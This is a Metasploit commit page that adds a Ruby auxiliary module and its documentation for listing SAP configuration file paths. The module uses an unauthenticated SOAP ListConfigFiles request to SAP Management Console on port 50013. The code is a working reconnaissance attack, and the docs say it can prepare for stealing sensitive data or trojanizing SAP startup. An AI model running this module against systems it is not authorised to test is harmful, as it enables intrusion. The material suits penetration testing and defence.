Permalink
Browse files

Land #11282, Support to retrieve data from ListConfigFiles SAP webmethod

  • Loading branch information...
wchen-r7 committed Feb 9, 2019
2 parents 3387c53 + 07e2f9c commit bb97a5eba021556ffd22877c124ce4b4e880c624
@@ -0,0 +1,60 @@

## Vulnerable Application

This applies to all versions of SAP software.

The SAP Management Console (SAP MC) provides a common framework for centralized system management. It allows you to monitor and perform basic administration tasks on the SAP system centrally, which simplifies system administration. (https://help.sap.com/doc/saphelp_nwpi711/7.1.1/en-US/fa/ec218eb89b4424a9a0b423b0643952/frameset.htm)

SAP exposes an API on port tcp/50013 with the SOAP Management Console. Some webmethods are authenticated with a valid login/password and others are unauthenticated and reacheable by default.

With this module you can list the config files that SAP loads when starts the SAP server. This unauthenticated information disclosure can be used in a more advanced attack to get knowledge about in which paths SAP stores the config files to, for example, retrieve sensitive data or trojanize the startup process.

## Verification Steps

Example steps:

1. Install the SAP application. SAP provides a docker container for development purposes: https://developers.sap.com/tutorials/hxe-ua-install-using-docker.html
2. Start msfconsole
3. Do: ```use auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles```
4. Set up the server IP: ```set RHOSTS 192.168.10.45```
5. Do: ```run```
6. You will receive the list of SAP configuration files on the server.

## Options

**RHOSTS**: Set up which server or servers do you want to test

**RPORT**: Port tcp/50013 set up by default

In case of more advanced deployments you can set up the SSL parameters here:

**SSL**: Set to ```true```


## Scenarios

### Example


```
msf5 > use auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles
msf5 auxiliary(scanner/sap/sap_mgmt_con_listconfigfiles) > show options
Module options (auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 50013 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads
URI / no Path to the SAP Management Console
VHOST no HTTP server virtual host
msf5 auxiliary(scanner/sap/sap_mgmt_con_listconfigfiles) > set RHOSTS 192.168.10.45
RHOSTS => 192.168.10.45
msf5 auxiliary(scanner/sap/sap_mgmt_con_listconfigfiles) > run
[...]
```
@@ -0,0 +1,112 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize(info={})
super(update_info(info,
'Name' => 'SAP Management Console List Config Files',
'Description' => %q{
This module attempts to list the config files
through the SAP Management Console SOAP Interface.
Returns a list of config files found in the SAP configuration with its
absolute paths inside the server filesystem.
},
'References' =>
[
# General
[ 'URL', 'http://blog.c22.cc' ]
],
'Author' => [
'Chris John Riley', # Original msf module
'Jacobo Avariento Gimeno' # Minor changes to adapt it for ListConfigFiles webmethod
],
'License' => MSF_LICENSE
))

register_options(
[
Opt::RPORT(50013),
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
])
register_autofilter_ports([ 50013 ])
deregister_options('RHOST')
end

def run_host(ip)
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'GET'
}, 25)

if not res
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
return
end

enum_instance(ip)
end

def enum_instance(rhost)
print_status("#{rhost}:#{rport} [SAP] Connecting to SAP Management Console SOAP Interface")

soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
xs = 'http://www.w3.org/2001/XMLSchema'
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
ns1 = 'ns1:ListConfigFiles'

data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi
data << '" xmlns:xs="' + xs + '">' + "\r\n"
data << '<SOAP-ENV:Header>' + "\r\n"
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
data << '<enableSession>true</enableSession>' + "\r\n"
data << '</sapsess:Session>' + "\r\n"
data << '</SOAP-ENV:Header>' + "\r\n"
data << '<SOAP-ENV:Body>' + "\r\n"
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
data << '</SOAP-ENV:Body>' + "\r\n"
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"

res = send_request_raw({
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Length' => data.length,
'SOAPAction' => '""',
'Content-Type' => 'text/xml; charset=UTF-8',
}
}, 15)

unless res
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
return
end

if res.code == 500 && res.body =~ %r{<faultstring>(.*)</faultstring>}i
print_error("#{rhost}:#{rport} [SAP] Error code: #{$1.strip}")
return
end

if res.code == 200 && res.body =~ %r{<item>([^<]+)</item>}i
env = res.body.scan(%r{<item>([^<]+)</item>}i)
print_good("#{rhost}:#{rport} [SAP] List of Config Files")
env.each do |output|
print_good(output.first)
end
return
end

print_error("#{rhost}:#{rport} [SAP] Failed to identify instance properties")
rescue ::Rex::ConnectionError
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
end
end

0 comments on commit bb97a5e

Please sign in to comment.